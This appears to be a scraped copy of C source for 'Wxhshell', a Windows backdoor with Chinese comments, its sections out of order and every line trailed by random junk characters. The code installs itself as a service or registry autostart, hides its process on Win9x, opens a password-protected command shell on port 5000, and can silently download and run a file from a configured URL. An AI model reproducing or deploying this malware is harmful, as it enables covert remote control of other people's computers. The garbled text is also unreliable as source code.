ULONG UniqueProcessId; t6V@00M@
ULONG InheritedFromUniqueProcessId; k`[ L
} PROCESS_BASIC_INFORMATION; A2.[P==
vu-QyPnS|w
PROCNTQSIP NtQueryInformationProcess; 1n|)05p
p^S]O\;M7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |wW_Z!fL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9)N/J\b
.hd<,\nW
HANDLE hProcess; s4h3mypw
PROCESS_BASIC_INFORMATION pbi; UlF=,0P
9U$n;uA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =iF}41a
if(NULL == hInst ) return 0; [+dOgyK
v,qK=]ty
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DY<Br;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K.'II9-{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OT/*|Pn9
8JvF4'zx
if (!NtQueryInformationProcess) return 0; H~y 7o_tg
I`"B<=zi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ANgfG8>
if(!hProcess) return 0; (o`"s~)
vd+yU9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?+EN.P[;3
eTVI.B@p
CloseHandle(hProcess); N4y$$.uv2
M8j%bmd(,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $$QbcnOf$
if(hProcess==NULL) return 0; 2\
3}y(
Byq4PX%B
HMODULE hMod; Pt<lHfd
char procName[255]; 5R6@A?vr
unsigned long cbNeeded; gQHE2$i>
MHZ!noAr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); an! ceB
mNUc g{+/
CloseHandle(hProcess); Ewg5s?2|
&Xw{%Rg
if(strstr(procName,"services")) return 1; // 以服务启动 =pHWqGOD
k\,01Y^
return 0; // 注册表启动 eTi r-7
} :$eg{IXC"
haj\Dm
// 主模块 G+Vlaa/7
int StartWxhshell(LPSTR lpCmdLine) O%:EPdoU
{ ODE9@]a
SOCKET wsl; eLC}h %
BOOL val=TRUE; NY]`1yy
int port=0; Zr!he$8(2
struct sockaddr_in door; (W.euQy
erG@8CG
if(wscfg.ws_autoins) Install(); dno=C
}*0OLUFFJ
port=atoi(lpCmdLine); L_$M9G|5n
aBL+i-
if(port<=0) port=wscfg.ws_port; \g|u|Y.2[
;-Bi~XD
WSADATA data; 9D
2B8t"a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NUB 3L
yj]\%3o<Z7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c o}o$}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M+Rxt.~6
door.sin_family = AF_INET; NUiNn 7C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N[G<&f9
door.sin_port = htons(port); 8p3pw=p
cZnB 2T?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =l&A9 >\
closesocket(wsl); tF> ?]
return 1; Rxe
sK
} 6.fahg?E
+{* @36A5A
if(listen(wsl,2) == INVALID_SOCKET) { Q=hf,/N
closesocket(wsl); Mq7d*Bgb
return 1; [;5?=X,LD
} e[D'0L
Wxhshell(wsl); U?dd+2^};t
WSACleanup(); adEcIvN$
0Me*X
return 0; 9p,<<5{
v&CKtk!3{
} T?=[6
F[ca4_lK
// 以NT服务方式启动 cB5|%@$I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iRwqt-WZ
{ g2
dvs
DWORD status = 0; U4hsbraz
DWORD specificError = 0xfffffff; imE5$;
lH_S*FDa
serviceStatus.dwServiceType = SERVICE_WIN32; ,$ICv+7]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "WKE%f
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J?Kgev%
serviceStatus.dwWin32ExitCode = 0; !?Tu pi
serviceStatus.dwServiceSpecificExitCode = 0; _J}vPm
serviceStatus.dwCheckPoint = 0; ii%n:0+zm
serviceStatus.dwWaitHint = 0; v5i?4?-Z
E|f&SEnzK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a8fLj
if (hServiceStatusHandle==0) return; 1zE_ SNx
VN=S&iBa/
status = GetLastError(); WZ"g:Khw
if (status!=NO_ERROR) #N-NI+qX
{ qx! NU}6
serviceStatus.dwCurrentState = SERVICE_STOPPED; GnbXS>
serviceStatus.dwCheckPoint = 0; =Mc]FCV
serviceStatus.dwWaitHint = 0; V%~u8b
serviceStatus.dwWin32ExitCode = status; f#xqu+)Z
serviceStatus.dwServiceSpecificExitCode = specificError; !"E&Tk}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g+ `Ie'o<
return; Zxw>|eKI>D
} ldJeja~Xl
r1cB<-bJ#'
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1KxtHLLU
serviceStatus.dwCheckPoint = 0; B8'(3&)My
serviceStatus.dwWaitHint = 0; X/,4hjg
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b2;Weu3WN
} @:DS/#!
ku,Y-
// 处理NT服务事件,比如:启动、停止 o5+N_5OE}E
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hl&]r'bK
{ KZV$rJ%G
switch(fdwControl) cm]D"GFLY
{ -0| '{
case SERVICE_CONTROL_STOP: ;FYiXK%
serviceStatus.dwWin32ExitCode = 0; luZqW`?Bt
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vxif0Bx&/d
serviceStatus.dwCheckPoint = 0; [!>2[bbl
serviceStatus.dwWaitHint = 0; [.P~-6~
{
/A|cO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tq9t(0EL
} ]3#_BL)M8p
return; U[~BW[[@f
case SERVICE_CONTROL_PAUSE: ~..h=
serviceStatus.dwCurrentState = SERVICE_PAUSED; BzH7E[R49
break; 9s)YPlDz
case SERVICE_CONTROL_CONTINUE: .a:Oj3=0
serviceStatus.dwCurrentState = SERVICE_RUNNING; >*A\/Da]j
break; {:
EQ
case SERVICE_CONTROL_INTERROGATE: 9;;1 "^4/
break; Yg%V
}; 1p,G8 v+B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |::kC3=
} (CYVSO
w&;\}IS
// 标准应用程序主函数 Ov%9S/d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /B!"\0G/,
{ ja2LQe@Q
GpF, =:
// 获取操作系统版本 >fo &H_a
OsIsNt=GetOsVer(); d; @Kz^
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9a)D8
Dbyy H_
// 从命令行安装 _p{ag
1gP
if(strpbrk(lpCmdLine,"iI")) Install(); />\.zuAr&
J.":oD
// 下载执行文件 6"
3!9JC
if(wscfg.ws_downexe) { Hkx FDU-K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ; ,*U,eV
WinExec(wscfg.ws_filenam,SW_HIDE); B!<{s'
} BU:s&+LYUv
451C2 %y
if(!OsIsNt) { L~V
63K
// 如果时win9x,隐藏进程并且设置为注册表启动 2!dIW5I
HideProc(); UR-e'Z&]
StartWxhshell(lpCmdLine); u
` 9Eh;
} D4[5}NYU
else I}Q3B3Byg
if(StartFromService()) Fg4eIE-/M
// 以服务方式启动 wr*A%:
StartServiceCtrlDispatcher(DispatchTable); >C_! }~
else (m3p28Q?
// 普通方式启动 [sz#*IJ
StartWxhshell(lpCmdLine); OR&+`P"-\
wlKpHd*
return 0; @tjC{?5Y
} Iu0K#.s_
LEVNywk[
%8
cFzyE*
_a*Wk
=========================================== *GuCv3|
~2A<fL,-
sut j
G`m
?Pmj }f
iCk34C7
@oYq.baHX
" n2,b~S\e
L6$,<}l
#include <stdio.h> ]2zx}D4f
#include <string.h> v}[KVwse
#include <windows.h> E_?3<)l)RI
#include <winsock2.h> Q;r 0#"
#include <winsvc.h> 7F?^gMi
#include <urlmon.h> >1s:F5u"
nEOhN
#pragma comment (lib, "Ws2_32.lib") >tP/"4c
#pragma comment (lib, "urlmon.lib") #D//oL"u]
dJNYuTZ'
#define MAX_USER 100 // 最大客户端连接数 .(9IAAwKn
#define BUF_SOCK 200 // sock buffer f<|8NQ2y.
#define KEY_BUFF 255 // 输入 buffer drtQEc>qT
H3OH
#define REBOOT 0 // 重启 Kt}dTpVFr
#define SHUTDOWN 1 // 关机 pJ_Z[}d)c
4B]8Mp~\aL
#define DEF_PORT 5000 // 监听端口 #C%<g:F8
o/)\Q>IY
#define REG_LEN 16 // 注册表键长度 (a7IxW
#define SVC_LEN 80 // NT服务名长度 w #(XiH*
'{( n1es
// 从dll定义API !c1
E
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ew?UHV
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S2jo@bp!
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NX)7g}S
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gWgK
qLYv=h$,
// wxhshell配置信息 BzWmV.5
struct WSCFG { {AIZ,
int ws_port; // 监听端口 ~sSB.g
char ws_passstr[REG_LEN]; // 口令 -ZihEyG?V
int ws_autoins; // 安装标记, 1=yes 0=no :sT<<LtI-
char ws_regname[REG_LEN]; // 注册表键名 z
eIBB
char ws_svcname[REG_LEN]; // 服务名 UQW;!8J#R(
char ws_svcdisp[SVC_LEN]; // 服务显示名 >y]YF3?
char ws_svcdesc[SVC_LEN]; // 服务描述信息 :X`J1E]Rjd
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &2?kD{
int ws_downexe; // 下载执行标记, 1=yes 0=no zP=J5qOZ8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SKRD{MRsux
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]s,T`
(&
>b*Pd
*f
}; |Ca$>]?
8a?V h^
// default Wxhshell configuration Uk*s`Y
struct WSCFG wscfg={DEF_PORT, ol`]6"Sc
"xuhuanlingzhe", J)g(Nw,O
1, _5y)m5I
"Wxhshell", PrN?;Z.
"Wxhshell", yx/:<^"-$
"WxhShell Service", 2?
!b!
"Wrsky Windows CmdShell Service", 7^Onq0ym T
"Please Input Your Password: ", |Q:`:ODy`5
1, &